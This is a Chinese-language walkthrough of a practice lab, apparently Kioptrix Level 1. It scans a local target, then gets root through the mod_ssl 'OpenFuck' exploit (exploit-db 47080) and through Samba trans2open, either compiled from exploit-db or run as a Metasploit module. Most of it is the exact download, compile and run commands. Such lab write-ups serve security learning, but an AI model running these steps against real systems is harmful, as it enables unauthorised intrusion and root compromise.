本机IP：192.168.1.114   靶机IP：192.168.1.104

看一下开了哪些端口和服务

看下有哪些路径，并没有发现可利用的

dirb http://192.168.1.104/

扫描下有哪些漏洞

nikto -h 192.168.1.104

+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

在https://www.exploit-db.com/中查询到了POC： https://www.exploit-db.com/exploits/47080

wget -O 47080.c https://www.exploit-db.com/download/47080

编译前准备

apt-get install libssl-dev

编译

gcc -o exp 47080.c -lcrypto

运行发现要找对应版本，Red-Hat/Linux  Apache/1.3.20

./exp
./exp | grep apache-1.3.20

符合的有两个0x6a、0x6b，实测0x6a不能用，0x6b可以

./exp 0x6a 192.168.1.104 -c 40

连上之后已经是root权限了

whoami
cat /etc/*-release
uname -a
mail

exit

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

方法二

在139端口运行着Samba，nmap没有给出版本号，用msfconsole模块查询

msfconsole
search smb_version
use auxiliary/scanner/smb/smb_version
options
set rhosts 192.168.1.104
set threads 50
run

得到版本号为：Samba 2.2.1a

登录smb看下有哪些服务

smbclient -L 192.168.1.104 -N

 在https://www.exploit-db.com/查询 发现  Samba < 2.2.8 (Linux/BSD) - Remote Code Execution 符合

下载--编译--运行

wget -O t.c https://www.exploit-db.com/download/10
gcc -o tt t.c
./tt -b 0 192.168.1.104
whoami

也可以借助msfconsole 

msfconsole
search samba
use exploit/linux/samba/trans2open
options
set rhost 192.168.1.104
run
